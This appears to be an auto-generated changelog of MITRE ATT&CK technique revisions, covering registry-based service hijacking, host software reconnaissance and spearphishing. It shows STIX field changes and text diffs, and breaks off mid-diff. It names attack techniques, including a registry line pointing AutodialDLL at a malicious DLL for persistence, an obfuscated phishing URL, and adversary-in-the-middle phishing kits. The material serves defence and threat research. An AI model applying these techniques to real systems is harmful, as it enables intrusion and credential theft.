| description | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
+
+If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
+
+Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
+
+The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
+
+Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.(Citation: malware_hides_service) | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
+
+If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
+
+Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
+
+The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
+
+Adversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.
+
+For example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:
+
+"AutodialDLL"="c:\temp\foo.dll"
+
+This ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked. |
| external_references[8]['source_name'] | troj_zegost | gendigital |
| external_references[8]['description'] | Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021. | Threat Research Team. (2022, March 22). Operation Dragon Castling: APT group targeting betting companies. Retrieved September 25, 2025. |
| external_references[8]['url'] | https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost | https://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + +Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. + +Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. | |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'hexacorn', 'description': 'hexacorn. (2015, January 13). Beyond good ol’ Run key, Part 24. Retrieved September 25, 2025.', 'url': 'https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/'} | |
| external_references | {'source_name': 'MDSec', 'description': 'MDSec. (n.d.). Autodial(DLL)ing Your Way. Retrieved September 25, 2025.', 'url': 'https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/'} | |
| x_mitre_contributors | Joe Gumke, U.S. Bank |
Current version: 1.2
Version changed from: 1.1 → 1.2
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may gather information about the victim's host s | t | 1 | Adversaries may gather information about the victim's host s |
| > | oftware that can be used during targeting. Information about | > | oftware that can be used during targeting. Information about | ||
| > | installed software may include a variety of details such as | > | installed software may include a variety of details such as | ||
| > | types and versions on specific hosts, as well as the presen | > | types and versions on specific hosts, as well as the presen | ||
| > | ce of additional components that might be indicative of adde | > | ce of additional components that might be indicative of adde | ||
| > | d defensive protections (ex: antivirus, SIEMs, etc.). Adver | > | d defensive protections (ex: antivirus, SIEMs, etc.). Adver | ||
| > | saries may gather this information in various ways, such as | > | saries may gather this information in various ways, such as | ||
| > | direct collection actions via [Active Scanning](https://atta | > | direct collection actions via [Active Scanning](https://atta | ||
| > | ck.mitre.org/techniques/T1595) (ex: listening ports, server | > | ck.mitre.org/techniques/T1595) (ex: listening ports, server | ||
| > | banners, user agent strings) or [Phishing for Information](h | > | banners, user agent strings) or [Phishing for Information](h | ||
| > | ttps://attack.mitre.org/techniques/T1598). Adversaries may a | > | ttps://attack.mitre.org/techniques/T1598). Adversaries may a | ||
| > | lso compromise sites then include malicious content designed | > | lso compromise sites then include malicious content designed | ||
| > | to collect host information from visitors.(Citation: ATT Sc | > | to collect host information from visitors.(Citation: ATT Sc | ||
| > | anBox) Information about the installed software may also be | > | anBox) Information about the installed software may also be | ||
| > | exposed to adversaries via online or other accessible data s | > | exposed to adversaries via online or other accessible data s | ||
| > | ets (ex: job postings, network maps, assessment reports, res | > | ets (ex: job postings, network maps, assessment reports, res | ||
| > | umes, or purchase invoices). Gathering this information may | > | umes, or purchase invoices). Additionally, adversaries may a | ||
| > | reveal opportunities for other forms of reconnaissance (ex: | > | nalyze metadata from victim-owned files (e.g., PDFs, DOCs, i | ||
| > | [Search Open Websites/Domains](https://attack.mitre.org/tech | > | mages, and sound files hosted on victim-owned websites) to e | ||
| > | niques/T1593) or [Search Open Technical Databases](https://a | > | xtract information about the software and hardware used to c | ||
| > | ttack.mitre.org/techniques/T1596)), establishing operational | > | reate or process those files. Metadata may reveal software v | ||
| > | resources (ex: [Develop Capabilities](https://attack.mitre. | > | ersions, configurations, or timestamps that indicate outdate | ||
| > | org/techniques/T1587) or [Obtain Capabilities](https://attac | > | d or vulnerable software. This information can be cross-refe | ||
| > | k.mitre.org/techniques/T1588)), and/or for initial access (e | > | renced with known CVEs to identify potential vectors for exp | ||
| > | x: [Supply Chain Compromise](https://attack.mitre.org/techni | > | loitation in future operations.(Citation: Outpost24) Gather | ||
| > | ques/T1195) or [External Remote Services](https://attack.mit | > | ing this information may reveal opportunities for other form | ||
| > | re.org/techniques/T1133)). | > | s of reconnaissance (ex: [Search Open Websites/Domains](http | ||
| > | s://attack.mitre.org/techniques/T1593) or [Search Open Techn | ||||
| > | ical Databases](https://attack.mitre.org/techniques/T1596)), | ||||
| > | establishing operational resources (ex: [Develop Capabiliti | ||||
| > | es](https://attack.mitre.org/techniques/T1587) or [Obtain Ca | ||||
| > | pabilities](https://attack.mitre.org/techniques/T1588)), and | ||||
| > | /or for initial access (ex: [Supply Chain Compromise](https: | ||||
| > | //attack.mitre.org/techniques/T1195) or [External Remote Ser | ||||
| > | vices](https://attack.mitre.org/techniques/T1133)). | ||||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Michal Biesiada'] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:09:53.612000+00:00 | 2025-10-24 17:49:17.631000+00:00 |
| description | Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). + +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). + +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations.(Citation: Outpost24) + +Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_detection | Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox) + +Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Outpost24', 'description': 'Stijn Vande Casteele. (2025, March 31). How to analyze metadata and hide it from hackers. Retrieved July 2, 2025.', 'url': 'https://outpost24.com/blog/metadata-hackers-best-friend/'} |
Current version: 1.7
Version changed from: 1.6 → 1.7
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing messages with a malicious | t | 1 | Adversaries may send spearphishing messages with a malicious |
| > | link to elicit sensitive information that can be used durin | > | link to elicit sensitive information that can be used durin | ||
| > | g targeting. Spearphishing for information is an attempt to | > | g targeting. Spearphishing for information is an attempt to | ||
| > | trick targets into divulging information, frequently credent | > | trick targets into divulging information, frequently credent | ||
| > | ials or other actionable information. Spearphishing for info | > | ials or other actionable information. Spearphishing for info | ||
| > | rmation frequently involves social engineering techniques, s | > | rmation frequently involves social engineering techniques, s | ||
| > | uch as posing as a source with a reason to collect informati | > | uch as posing as a source with a reason to collect informati | ||
| > | on (ex: [Establish Accounts](https://attack.mitre.org/techni | > | on (ex: [Establish Accounts](https://attack.mitre.org/techni | ||
| > | ques/T1585) or [Compromise Accounts](https://attack.mitre.or | > | ques/T1585) or [Compromise Accounts](https://attack.mitre.or | ||
| > | g/techniques/T1586)) and/or sending multiple, seemingly urge | > | g/techniques/T1586)) and/or sending multiple, seemingly urge | ||
| > | nt messages. All forms of spearphishing are electronically | > | nt messages. All forms of spearphishing are electronically | ||
| > | delivered social engineering targeted at a specific individu | > | delivered social engineering targeted at a specific individu | ||
| > | al, company, or industry. In this scenario, the malicious em | > | al, company, or industry. In this scenario, the malicious em | ||
| > | ails contain links generally accompanied by social engineeri | > | ails contain links generally accompanied by social engineeri | ||
| > | ng text to coax the user to actively click or copy and paste | > | ng text to coax the user to actively click or copy and paste | ||
| > | a URL into a browser.(Citation: TrendMictro Phishing)(Citat | > | a URL into a browser.(Citation: TrendMictro Phishing)(Citat | ||
| > | ion: PCMag FakeLogin) The given website may be a clone of a | > | ion: PCMag FakeLogin) The given website may be a clone of a | ||
| > | legitimate site (such as an online or corporate login portal | > | legitimate site (such as an online or corporate login portal | ||
| > | ) or may closely resemble a legitimate site in appearance an | > | ) or may closely resemble a legitimate site in appearance an | ||
| > | d have a URL containing elements from the real site. URLs ma | > | d have a URL containing elements from the real site. URLs ma | ||
| > | y also be obfuscated by taking advantage of quirks in the UR | > | y also be obfuscated by taking advantage of quirks in the UR | ||
| > | L schema, such as the acceptance of integer- or hexadecimal- | > | L schema, such as the acceptance of integer- or hexadecimal- | ||
| > | based hostname formats and the automatic discarding of text | > | based hostname formats and the automatic discarding of text | ||
| > | before an “@” symbol: for example, `hxxp://google.com@115758 | > | before an “@” symbol: for example, `hxxp://google.com@115758 | ||
| > | 6937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | > | 6937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | ||
| > | may also embed “tracking pixels”, "web bugs", or "web beaco | > | may also embed “tracking pixels,” "web bugs," or "web beaco | ||
| > | ns" within phishing messages to verify the receipt of an ema | > | ns" within phishing messages to verify the receipt of an ema | ||
| > | il, while also potentially profiling and tracking victim inf | > | il, while also potentially profiling and tracking victim inf | ||
| > | ormation such as IP address.(Citation: NIST Web Bug) (Citati | > | ormation such as IP address.(Citation: NIST Web Bug)(Citatio | ||
| > | on: Ryte Wiki) These mechanisms often appear as small images | > | n: Ryte Wiki) These mechanisms often appear as small images | ||
| > | (typically one pixel in size) or otherwise obfuscated objec | > | (typically one pixel in size) or otherwise obfuscated object | ||
| > | ts and are typically delivered as HTML code containing a lin | > | s and are typically delivered as HTML code containing a link | ||
| > | k to a remote server. (Citation: Ryte Wiki)(Citation: IAPP) | > | to a remote server.(Citation: Ryte Wiki)(Citation: IAPP) A | ||
| > | Adversaries may also be able to spoof a complete website us | > | dversaries may also be able to spoof a complete website usin | ||
| > | ing what is known as a "browser-in-the-browser" (BitB) attac | > | g what is known as a "browser-in-the-browser" (BitB) attack. | ||
| > | k. By generating a fake browser popup window with an HTML-ba | > | By generating a fake browser popup window with an HTML-base | ||
| > | sed address bar that appears to contain a legitimate URL (su | > | d address bar that appears to contain a legitimate URL (such | ||
| > | ch as an authentication portal), they may be able to prompt | > | as an authentication portal), they may be able to prompt us | ||
| > | users to enter their credentials while bypassing typical URL | > | ers to enter their credentials while bypassing typical URL v | ||
| > | verification methods.(Citation: ZScaler BitB 2020)(Citation | > | erification methods.(Citation: ZScaler BitB 2020)(Citation: | ||
| > | : Mr. D0x BitB 2022) Adversaries can use phishing kits such | > | Mr. D0x BitB 2022) Adversaries can use phishing kits such a | ||
| > | as `EvilProxy` and `Evilginx2` to perform adversary-in-the- | > | s `EvilProxy` and `Evilginx2` to perform adversary-in-the-mi | ||
| > | middle phishing by proxying the connection between the victi | > | ddle phishing by proxying the connection between the victim | ||
| > | m and the legitimate website. On a successful login, the vic | > | and the legitimate website. On a successful login, the victi | ||
| > | tim is redirected to the legitimate website, while the adver | > | m is redirected to the legitimate website, while the adversa | ||
| > | sary captures their session cookie (i.e., [Steal Web Session | > | ry captures their session cookie (i.e., [Steal Web Session C | ||
| > | Cookie](https://attack.mitre.org/techniques/T1539)) in addi | > | ookie](https://attack.mitre.org/techniques/T1539)) in additi | ||
| > | tion to their username and password. This may enable the adv | > | on to their username and password. This may enable the adver | ||
| > | ersary to then bypass MFA via [Web Session Cookie](https://a | > | sary to then bypass MFA via [Web Session Cookie](https://att | ||
| > | ttack.mitre.org/techniques/T1550/004).(Citation: Proofpoint | > | ack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Hu | ||
| > | Human Factor) Adversaries may also send a malicious link in | > | man Factor) Adversaries may also send a malicious link in t | ||
| > | the form of Quick Response (QR) Codes (also known as “quish | > | he form of Quick Response (QR) Codes (also known as “quishin | ||
| > | ing”). These links may direct a victim to a credential phish | > | g”). These links may direct a victim to a credential phishin | ||
| > | ing page.(Citation: QR-campaign-energy-firm) By using a QR c | > | g page.(Citation: QR-campaign-energy-firm) By using a QR cod | ||
| > | ode, the URL may not be exposed in the email and may thus go | > | e, the URL may not be exposed in the email and may thus go u | ||
| > | undetected by most automated email security scans.(Citation | > | ndetected by most automated email security scans.(Citation: | ||
| > | : qr-phish-agriculture) These QR codes may be scanned by or | > | qr-phish-agriculture) These QR codes may be scanned by or de | ||
| > | delivered directly to a user’s mobile device (i.e., [Phishi | > | livered directly to a user’s mobile device (i.e., [Phishing | ||
| > | ng](https://attack.mitre.org/techniques/T1660)), which may b | > | ](https://attack.mitre.org/techniques/T1660)), which may be | ||
| > | e less secure in several relevant ways.(Citation: qr-phish-a | > | less secure in several relevant ways.(Citation: qr-phish-agr | ||
| > | griculture) For example, mobile users may not be able to not | > | iculture) For example, mobile users may not be able to notic | ||
| > | ice minor differences between genuine and credential harvest | > | e minor differences between genuine and credential harvestin | ||
| > | ing websites due to mobile’s smaller form factor. From the | > | g websites due to mobile’s smaller form factor. From the fa | ||
| > | fake website, information is gathered in web forms and sent | > | ke website, information is gathered in web forms and sent to | ||
| > | to the adversary. Adversaries may also use information from | > | the adversary. Adversaries may also use information from pr | ||
| > | previous reconnaissance efforts (ex: [Search Open Websites/D | > | evious reconnaissance efforts (ex: [Search Open Websites/Dom | ||
| > | omains](https://attack.mitre.org/techniques/T1593) or [Searc | > | ains](https://attack.mitre.org/techniques/T1593) or [Search | ||
| > | h Victim-Owned Websites](https://attack.mitre.org/techniques | > | Victim-Owned Websites](https://attack.mitre.org/techniques/T | ||
| > | /T1594)) to craft persuasive and believable lures. | > | 1594)) to craft persuasive and believable lures. | ||
Dropped Detections (Data Components -> Technique):
New Detections (Detection Strategies -> Technique):
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-15 23:10:59.931000+00:00 | 2025-10-24 17:48:34.880000+00:00 |
| description | Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. + +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) + +Adversaries may also embed “tracking pixels”, "web bugs", or "web beacons" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP) + +Adversaries may also be able to spoof a complete website using what is known as a "browser-in-the-browser" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022) + +Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor) + +Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. + +From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. | Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. + +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023) + +Adversaries may also embed “tracking pixels,” "web bugs," or "web beacons" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug)(Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server.(Citation: Ryte Wiki)(Citation: IAPP) + +Adversaries may also be able to spoof a complete website using what is known as a "browser-in-the-browser" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022) + +Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor) + +Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. + +From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures. |
| x_mitre_detection | Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) + +Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites. | |
| x_mitre_version | 1.6 | 1.7 |
Current version: 2.8
Version changed from: 2.7 → 2.8
+| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing emails with a malicious l | t | 1 | Adversaries may send spearphishing emails with a malicious l |
| > | ink in an attempt to gain access to victim systems. Spearphi | > | ink in an attempt to gain access to victim systems. Spearphi | ||
| > | shing with a link is a specific variant of spearphishing. It | > | shing with a link is a specific variant of spearphishing. It | ||
| > | is different from other forms of spearphishing in that it e | > | is different from other forms of spearphishing in that it e | ||
| > | mploys the use of links to download malware contained in ema | > | mploys the use of links to download malware contained in ema | ||
| > | il, instead of attaching malicious files to the email itself | > | il, instead of attaching malicious files to the email itself | ||
| > | , to avoid defenses that may inspect email attachments. Spea | > | , to avoid defenses that may inspect email attachments. Spea | ||
| > | rphishing may also involve social engineering techniques, su | > | rphishing may also involve social engineering techniques, su | ||
| > | ch as posing as a trusted source. All forms of spearphishin | > | ch as posing as a trusted source. All forms of spearphishin | ||
| > | g are electronically delivered social engineering targeted a | > | g are electronically delivered social engineering targeted a | ||
| > | t a specific individual, company, or industry. In this case, | > | t a specific individual, company, or industry. In this case, | ||
| > | the malicious emails contain links. Generally, the links wi | > | the malicious emails contain links. Generally, the links wi | ||
| > | ll be accompanied by social engineering text and require the | > | ll be accompanied by social engineering text and require the | ||
| > | user to actively click or copy and paste a URL into a brows | > | user to actively click or copy and paste a URL into a brows | ||
| > | er, leveraging [User Execution](https://attack.mitre.org/tec | > | er, leveraging [User Execution](https://attack.mitre.org/tec | ||
| > | hniques/T1204). The visited website may compromise the web b | > | hniques/T1204). The visited website may compromise the web b | ||
| > | rowser using an exploit, or the user will be prompted to dow | > | rowser using an exploit, or the user will be prompted to dow | ||
| > | nload applications, documents, zip files, or even executable | > | nload applications, documents, zip files, or even executable | ||
| > | s depending on the pretext for the email in the first place. | > | s depending on the pretext for the email in the first place. | ||
| > | Adversaries may also include links that are intended to in | > | Adversaries may also include links that are intended to in | ||
| > | teract directly with an email reader, including embedded ima | > | teract directly with an email reader, including embedded ima | ||
| > | ges intended to exploit the end system directly. Additionall | > | ges intended to exploit the end system directly. Additionall | ||
| > | y, adversaries may use seemingly benign links that abuse spe | > | y, adversaries may use seemingly benign links that abuse spe | ||
| > | cial characters to mimic legitimate websites (known as an "I | > | cial characters to mimic legitimate websites (known as an "I | ||
| > | DN homograph attack").(Citation: CISA IDN ST05-016) URLs may | > | DN homograph attack").(Citation: CISA IDN ST05-016) URLs may | ||
| > | also be obfuscated by taking advantage of quirks in the URL | > | also be obfuscated by taking advantage of quirks in the URL | ||
| > | schema, such as the acceptance of integer- or hexadecimal-b | > | schema, such as the acceptance of integer- or hexadecimal-b | ||
| > | ased hostname formats and the automatic discarding of text b | > | ased hostname formats and the automatic discarding of text b | ||
| > | efore an “@” symbol: for example, `hxxp://google.com@1157586 | > | efore an “@” symbol: for example, `hxxp://google.com@1157586 | ||
| > | 937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | > | 937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | ||
| > | may also utilize links to perform consent phishing, typicall | > | may also utilize links to perform consent phishing/spearphis | ||
| > | y with OAuth 2.0 request URLs that when accepted by the user | > | hing campaigns to [Steal Application Access Token](https://a | ||
